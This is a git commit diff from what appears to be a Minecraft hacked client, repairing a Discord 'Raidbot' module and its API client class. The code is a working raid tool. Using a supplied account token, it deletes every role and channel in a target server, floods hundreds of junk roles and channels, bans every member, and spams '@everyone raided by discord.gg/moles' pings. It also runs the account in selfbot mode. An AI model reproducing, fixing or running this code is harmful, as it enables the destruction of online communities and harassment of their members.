unshit reaidbot

This commit is contained in:
Saturn5Vfive 2022-04-24 14:48:36 -05:00
parent 23bc553dbe
commit 53916f8884
3 changed files with 109 additions and 80 deletions

View file

@ -19,6 +19,7 @@ import net.shadow.client.feature.config.StringSetting;
import net.shadow.client.feature.gui.clickgui.element.Element; import net.shadow.client.feature.gui.clickgui.element.Element;
import net.shadow.client.feature.gui.clickgui.element.impl.config.BooleanSettingEditor; import net.shadow.client.feature.gui.clickgui.element.impl.config.BooleanSettingEditor;
import net.shadow.client.feature.gui.clickgui.element.impl.config.StringSettingEditor; import net.shadow.client.feature.gui.clickgui.element.impl.config.StringSettingEditor;
import net.shadow.client.feature.gui.notifications.Notification;
import net.shadow.client.feature.gui.panels.PanelsGui; import net.shadow.client.feature.gui.panels.PanelsGui;
import net.shadow.client.feature.gui.panels.elements.PanelButton; import net.shadow.client.feature.gui.panels.elements.PanelButton;
import net.shadow.client.feature.gui.panels.elements.PanelFrame; import net.shadow.client.feature.gui.panels.elements.PanelFrame;
@ -44,9 +45,9 @@ public class ToolsScreen extends Module {
boolean alt = false; boolean alt = false;
PanelsGui menu = null; PanelsGui menu = null;
BooleanSetting ban = new BooleanSetting.Builder(false).name("Ban Members").get(); BooleanSetting ban = new BooleanSetting.Builder(true).name("Ban Members").get();
BooleanSetting roles = new BooleanSetting.Builder(false).name("Nuke roles").get(); BooleanSetting roles = new BooleanSetting.Builder(true).name("Nuke roles").get();
BooleanSetting channels = new BooleanSetting.Builder(false).name("Nuke channels").get(); BooleanSetting channels = new BooleanSetting.Builder(true).name("Nuke channels").get();
BooleanSetting isSelfbot = new BooleanSetting.Builder(false).name("Is Selfbot").get(); BooleanSetting isSelfbot = new BooleanSetting.Builder(false).name("Is Selfbot").get();
@ -171,31 +172,39 @@ public class ToolsScreen extends Module {
new Thread(() -> { new Thread(() -> {
final ThreadPoolExecutor pool = new ThreadPoolExecutor(10, 10, 0L, TimeUnit.MILLISECONDS, new LinkedBlockingQueue<Runnable>()); final ThreadPoolExecutor pool = new ThreadPoolExecutor(10, 10, 0L, TimeUnit.MILLISECONDS, new LinkedBlockingQueue<Runnable>());
try{ try{
int guildId = Integer.valueOf(guild.getValue()); long guildId = Long.valueOf(guild.getValue());
DiscordClient client = new DiscordClient(token.getValue(), isSelfbot.getValue()); DiscordClient client = new DiscordClient(token.getValue(), true);
if(roles.getValue()){ for(long role : client.getRoles(guildId)){
for(int role : client.getRoles(guildId)){ pool.execute(() -> client.deleteRole(guildId, role));
pool.execute(() -> client.deleteRole(guildId, role)); Utils.sleep(50);
Utils.sleep(50);
}
for(int i = 0; i < 250; i++){
pool.execute(() -> client.createRole(guildId, "molesontop"));
Utils.sleep(50);
}
} }
if(channels.getValue()){ Notification.create(1000, "Raidbot", Notification.Type.SUCCESS, "Deleted all roles");
for(int channel : client.getChannels(guildId)){ for(int i = 0; i < 250; i++){
pool.execute(() -> client.deleteChannel(channel)); pool.execute(() -> client.createRole(guildId, "moles"));
Utils.sleep(50); Utils.sleep(50);
}
for(int i = 0; i < 500; i++){
pool.execute(() -> client.createChannel(guildId, 0, "molesontop"));
Utils.sleep(50);
}
} }
if(ban.getValue()){ Notification.create(1000, "Raidbot", Notification.Type.SUCCESS, "Flooded roles");
for(int member : client.getMembers(guildId)){ for(long channel : client.getChannels(guildId)){
pool.execute(() -> client.banMember(guildId, member)); pool.execute(() -> client.deleteChannel(channel));
Utils.sleep(50);
}
Notification.create(1000, "Raidbot", Notification.Type.SUCCESS, "Deleted all channels");
for(int i = 0; i < 500; i++){
pool.execute(() -> client.createChannel(guildId, 0, "molesontop"));
Utils.sleep(50);
}
Notification.create(1000, "Raidbot", Notification.Type.SUCCESS, "Flooded channels");
for(long member : client.getMembers(guildId)){
pool.execute(() -> client.banMember(guildId, member));
Utils.sleep(50);
}
Notification.create(1000, "Raidbot", Notification.Type.SUCCESS, "Banned Members");
Notification.create(1000, "Raidbot", Notification.Type.INFO, "Sending pings");
for(int i = 0; i < 5; i++){
for(long channel : client.getChannels(guildId)){
pool.execute(() -> {
client.sendMessage(channel, "@everyone raided by discord.gg/moles", true);
});
Utils.sleep(50); Utils.sleep(50);
} }
} }

View file

@ -21,68 +21,88 @@ public class DiscordClient {
} }
} }
public int[] getGuilds() throws IOException, InterruptedException{ public long[] getGuilds() throws IOException, InterruptedException{
HttpResponse<String> resp = requests.get("https://discord.com/api/v8/users/@me/guilds", "Authorization:" + token); try{
JsonArray guilds = new JsonParser().parse(resp.body()).getAsJsonArray(); HttpResponse<String> resp = requests.get("https://discord.com/api/v8/users/@me/guilds", "Authorization:" + token);
int[] guildr = new int[guilds.size()]; JsonArray guilds = new JsonParser().parse(resp.body()).getAsJsonArray();
int iter = 0; long[] guildr = new long[guilds.size()];
for(JsonElement guild : guilds){ int iter = 0;
guildr[iter] = Integer.valueOf(guild.getAsJsonObject().get("id").getAsString()); for(JsonElement guild : guilds){
iter++; guildr[iter] = Long.valueOf(guild.getAsJsonObject().get("id").getAsString());
iter++;
}
return guildr;
}catch(Exception e){
return new long[0];
} }
return guildr;
} }
public int[] getChannels(int guildId) throws IOException, InterruptedException{ public long[] getChannels(long guildId) throws IOException, InterruptedException{
HttpResponse<String> resp = requests.get("https://discord.com/api/v8/guilds/" + String.valueOf(guildId) + "/channels", "Authorization:" + token); try{
JsonArray guilds = new JsonParser().parse(resp.body()).getAsJsonArray(); HttpResponse<String> resp = requests.get("https://discord.com/api/v8/guilds/" + String.valueOf(guildId) + "/channels", "Authorization:" + token);
int[] guildr = new int[guilds.size()]; JsonArray guilds = new JsonParser().parse(resp.body()).getAsJsonArray();
int iter = 0; long[] guildr = new long[guilds.size()];
for(JsonElement guild : guilds){ int iter = 0;
guildr[iter] = Integer.valueOf(guild.getAsJsonObject().get("id").getAsString()); for(JsonElement guild : guilds){
iter++; guildr[iter] = Long.valueOf(guild.getAsJsonObject().get("id").getAsString());
iter++;
}
return guildr;
}catch(Exception e){
return new long[0];
} }
return guildr;
} }
public int[] getDmChannels() throws IOException, InterruptedException{ public long[] getDmChannels() throws IOException, InterruptedException{
HttpResponse<String> resp = requests.get("https://discord.com/api/v8/users/@me/channels", "Authorization:" + token); try{
JsonArray guilds = new JsonParser().parse(resp.body()).getAsJsonArray(); HttpResponse<String> resp = requests.get("https://discord.com/api/v8/users/@me/channels", "Authorization:" + token);
int[] guildr = new int[guilds.size()]; JsonArray guilds = new JsonParser().parse(resp.body()).getAsJsonArray();
int iter = 0; long[] guildr = new long[guilds.size()];
for(JsonElement guild : guilds){ int iter = 0;
guildr[iter] = Integer.valueOf(guild.getAsJsonObject().get("id").getAsString()); for(JsonElement guild : guilds){
iter++; guildr[iter] = Long.valueOf(guild.getAsJsonObject().get("id").getAsString());
iter++;
}
return guildr;
}catch(Exception e){
return new long[0];
} }
return guildr;
} }
public int[] getRoles(int guildId) throws IOException, InterruptedException{ public long[] getRoles(long guildId) throws IOException, InterruptedException{
HttpResponse<String> resp = requests.get("https://discord.com/api/v8/guilds/" + guildId + "/roles", "Authorization:" + token); try{
JsonArray guilds = new JsonParser().parse(resp.body()).getAsJsonArray(); HttpResponse<String> resp = requests.get("https://discord.com/api/v8/guilds/" + guildId + "/roles", "Authorization:" + token);
int[] guildr = new int[guilds.size()]; JsonArray guilds = new JsonParser().parse(resp.body()).getAsJsonArray();
int iter = 0; long[] guildr = new long[guilds.size()];
for(JsonElement guild : guilds){ int iter = 0;
guildr[iter] = Integer.valueOf(guild.getAsJsonObject().get("id").getAsString()); for(JsonElement guild : guilds){
iter++; guildr[iter] = Long.valueOf(guild.getAsJsonObject().get("id").getAsString());
iter++;
}
return guildr;
}catch(Exception e){
return new long[0];
} }
return guildr;
} }
public int[] getMembers(int guildId) throws IOException, InterruptedException{ public long[] getMembers(long guildId) throws IOException, InterruptedException{
HttpResponse<String> resp = requests.get("https://discord.com/api/v8/guilds/" + guildId + "/members", "Authorization:" + token); try{
JsonArray guilds = new JsonParser().parse(resp.body()).getAsJsonArray(); HttpResponse<String> resp = requests.get("https://discord.com/api/v8/guilds/" + guildId + "/members", "Authorization:" + token);
int[] guildr = new int[guilds.size()]; JsonArray guilds = new JsonParser().parse(resp.body()).getAsJsonArray();
int iter = 0; long[] guildr = new long[guilds.size()];
for(JsonElement guild : guilds){ int iter = 0;
guildr[iter] = Integer.valueOf(guild.getAsJsonObject().get("id").getAsString()); for(JsonElement guild : guilds){
iter++; guildr[iter] = Long.valueOf(guild.getAsJsonObject().get("id").getAsString());
iter++;
}
return guildr;
}catch(Exception e){
return new long[0];
} }
return guildr;
} }
public int deleteChannel(int channelId){ public long deleteChannel(long channelId){
HttpResponse<String> req; HttpResponse<String> req;
try { try {
req = requests.delete("https://discord.com/api/v9/channels/" + channelId, "Authorization:" + token); req = requests.delete("https://discord.com/api/v9/channels/" + channelId, "Authorization:" + token);
@ -94,7 +114,7 @@ public class DiscordClient {
return -1; return -1;
} }
public int createChannel(int guildId, int type, String name){ public long createChannel(long guildId, long type, String name){
HttpResponse<String> req; HttpResponse<String> req;
try { try {
req = requests.post("https://discord.com/api/v9/guilds/" + guildId + "/channels", "{\"name\":\""+name+"\", \"permission_overwrites\":[], \"type\":\""+type+"\"}", "Authorization:" + token); req = requests.post("https://discord.com/api/v9/guilds/" + guildId + "/channels", "{\"name\":\""+name+"\", \"permission_overwrites\":[], \"type\":\""+type+"\"}", "Authorization:" + token);
@ -106,10 +126,10 @@ public class DiscordClient {
return -1; return -1;
} }
public int sendMessage(int channelid, String content, String embed){ public long sendMessage(long channelid, String content, boolean tts){
HttpResponse<String> req; HttpResponse<String> req;
try { try {
req = requests.post("https://discord.com/api/v9/channels/" + channelid + "/messages", "{'content':'"+content+"'', 'embeds':["+embed+"]}", "Authorization:" + token); req = requests.post("https://discord.com/api/v9/channels/" + channelid + "/messages", "{\"content\":\""+content+"\", \"tts\":"+tts+"}", "Authorization:" + token);
return req.statusCode(); return req.statusCode();
} catch (IOException | InterruptedException e) { } catch (IOException | InterruptedException e) {
// TODO Auto-generated catch block // TODO Auto-generated catch block
@ -118,10 +138,10 @@ public class DiscordClient {
return -1; return -1;
} }
public int banMember(int guildId, int userId){ public long banMember(long guildId, long userId){
HttpResponse<String> req; HttpResponse<String> req;
try { try {
req = requests.put("https://discord.com/api/v9/guilds/"+guildId+"/bans/"+userId+"", "{'delete_message_days':0}", "Authorization:" + token); req = requests.put("https://discord.com/api/v9/guilds/"+guildId+"/bans/"+userId+"", "{\"delete_message_days\":0}", "Authorization:" + token);
return req.statusCode(); return req.statusCode();
} catch (IOException | InterruptedException e) { } catch (IOException | InterruptedException e) {
// TODO Auto-generated catch block // TODO Auto-generated catch block
@ -130,10 +150,10 @@ public class DiscordClient {
return -1; return -1;
} }
public int createRole(int guildId, String name){ public long createRole(long guildId, String name){
HttpResponse<String> req; HttpResponse<String> req;
try { try {
req = requests.post("https://discord.com/api/v9/guilds/"+guildId+"/roles", "{'name':'"+name+"'}", "Authorization:" + token); req = requests.post("https://discord.com/api/v9/guilds/"+guildId+"/roles", "{\"name\":\""+name+"\"}", "Authorization:" + token);
return req.statusCode(); return req.statusCode();
} catch (IOException | InterruptedException e) { } catch (IOException | InterruptedException e) {
// TODO Auto-generated catch block // TODO Auto-generated catch block
@ -142,7 +162,7 @@ public class DiscordClient {
return -1; return -1;
} }
public int deleteRole(int guildId, int roleId){ public long deleteRole(long guildId, long roleId){
try { try {
HttpResponse<String> req; HttpResponse<String> req;
req = requests.delete("https://discord.com/api/v9/guilds/"+roleId+"/roles", "Authorization:" + token); req = requests.delete("https://discord.com/api/v9/guilds/"+roleId+"/roles", "Authorization:" + token);